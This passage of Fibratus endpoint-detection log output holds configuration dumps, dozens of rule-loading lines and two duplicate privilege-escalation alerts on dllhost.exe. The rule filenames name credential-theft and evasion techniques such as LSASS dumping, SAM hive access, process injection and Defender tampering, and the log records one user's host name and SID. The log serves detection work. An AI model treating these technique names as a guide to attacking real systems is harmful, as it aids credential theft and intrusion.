content-type=>text/html to=>[] use-template=>true] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ max-buffers=>36 enable-handle=>false enable-threadpool=>false stack-enrichment=>true enable-image=>true enable-registry=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] min-buffers=>16 enable-mem=>false enable-vamap=>true enable-fileio=>true enable-thread=>true enable-dns=>false enable-net=>true buffer-size=>512 enable-audit-api=>true flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text log-stdout=>true max-age=>0 level=>info max-backups=>15 max-size=>100] + output ......................... [ http=>[ endpoints=>[] method=>POST enable-gzip=>false serializer=>json enabled=>false timeout=>5s tls-insecure-skip-verify=>false] amqp=>[ timeout=>5s url=>amqp://localhost:5672 passive=>false delivery-mode=>transient enabled=>false exchange-type=>topic routing-key=>fibratus exchange=>fibratus tls-insecure-skip-verify=>false durable=>false vhost=>/] elasticsearch=>[ trace-log=>false sniff=>false bulk-workers=>1 gzip-compression=>false enabled=>false timeout=>5s healthcheck=>true template-name=>fibratus healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s flush-period=>1s index-name=>fibratus] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false scan-timeout=>10s skip-allocs=>false skip-mmaps=>false fastscan=>true excluded-procs=>[] skip-files=>false enabled=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-20T17:11:22+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T17:11:24+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T17:12:24+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T17:12:24+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T17:12:24+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T17:12:27+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-20T17:12:27+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-20T17:12:27+01:00 level=info msg=bootstrapping with pid 20408. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T17:12:27+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ port=>25 to=>[] enabled=>false content-type=>text/html use-template=>true] eventlog=>[ verbose=>true enabled=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-threads=>false] + eventsource .................... [ enable-fileio=>true enable-audit-api=>true stack-enrichment=>true min-buffers=>16 enable-thread=>true enable-dns=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] flush-interval=>1s enable-registry=>true enable-image=>true enable-threadpool=>false max-buffers=>36 enable-mem=>false enable-vamap=>true buffer-size=>512 enable-net=>true enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 formatter=>text max-age=>0 max-backups=>15 log-stdout=>true level=>info] + output ......................... [ amqp=>[ exchange-type=>topic exchange=>fibratus tls-insecure-skip-verify=>false durable=>false enabled=>false passive=>false routing-key=>fibratus delivery-mode=>transient vhost=>/ timeout=>5s url=>amqp://localhost:5672] elasticsearch=>[ healthcheck=>true index-name=>fibratus trace-log=>false template-name=>fibratus gzip-compression=>false enabled=>false sniff=>false healthcheck-interval=>10s bulk-workers=>1 servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s flush-period=>1s timeout=>5s] http=>[ serializer=>json tls-insecure-skip-verify=>false endpoints=>[] method=>POST timeout=>5s enable-gzip=>false enabled=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ enabled=>false read-resources=>false read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-allocs=>false skip-files=>false excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false skip-mmaps=>false enabled=>false scan-timeout=>10s excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-20T17:12:28+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T17:12:30+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T17:12:46+01:00 level=info msg=sending alert: [Potential privilege escalation via IFileOperation abuse]. Text: Event(s): + Seq: 1743582 + Pid: 14860 + Tid: 20044 + Type: CreateFile + CPU: 5 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-20 17:12:37.171029 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ SYNCHRONOUS_IO_NONALERT|OPEN_REPARSE_POINT, file_object➜ ffffc38b8b752560, file_path➜ C:\Windows\System32\wbem\ATL.dl~, irp➜ ffffc38b84f840f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 20044, type➜ File + Metadata: tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.name: Potential privilege escalation via IFileOperation abuse, tactic.id: TA0004 + + Pid: 14860 + Ppid: 1176 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-20T17:12:46+01:00 level=info msg=sending alert: [Potential privilege escalation via IFileOperation abuse]. Text: Event(s): + Seq: 1743582 + Pid: 14860 + Tid: 20044 + Type: CreateFile + CPU: 5 + Name: CreateFile + Category: file + Description: Creates or opens a file or I/O device + Host: archrabbit + Timestamp: 2025-11-20 17:12:37.171029 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ SYNCHRONOUS_IO_NONALERT|OPEN_REPARSE_POINT, file_object➜ ffffc38b8b752560, file_path➜ C:\Windows\System32\wbem\ATL.dl~, irp➜ ffffc38b84f840f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 20044, type➜ File + Metadata: rule.name: Potential privilege escalation via IFileOperation abuse, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 14860 + Ppid: 1176 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-20T17:14:23+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T17:14:23+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T17:14:23+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T17:16:04+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-20T17:16:04+01:00 level=info msg=bootstrapping with pid 19996. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-20T17:16:04+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false] mail=>[ use-template=>true port=>25 enabled=>false to=>[] content-type=>text/html] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ buffer-size=>512 enable-registry=>true enable-threadpool=>false enable-thread=>true enable-handle=>false enable-vamap=>true max-buffers=>36 enable-dns=>false enable-fileio=>true enable-net=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-image=>true enable-mem=>false flush-interval=>1s min-buffers=>16 stack-enrichment=>true enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-size=>100 max-backups=>15 formatter=>text max-age=>0 log-stdout=>true] + output ......................... [ elasticsearch=>[ sniff=>false template-name=>fibratus healthcheck=>true gzip-compression=>false timeout=>5s healthcheck-interval=>10s trace-log=>false enabled=>false healthcheck-timeout=>5s bulk-workers=>1 index-name=>fibratus servers=>[http://127.0.0.1:9200] flush-period=>1s] amqp=>[ timeout=>5s url=>amqp://localhost:5672 durable=>false tls-insecure-skip-verify=>false delivery-mode=>transient enabled=>false vhost=>/ passive=>false exchange-type=>topic routing-key=>fibratus exchange=>fibratus] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] http=>[ endpoints=>[] enable-gzip=>false enabled=>false tls-insecure-skip-verify=>false timeout=>5s method=>POST serializer=>json]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false skip-files=>false skip-registry=>false excluded-procs=>[] scan-timeout=>10s enabled=>false fastscan=>true skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-20T17:16:04+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-20T17:16:06+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-20T17:16:28+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-20T17:16:28+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-20T17:16:29+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-20T17:20:46+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-20T17:20:46+01:00 level=info msg=loading rule from 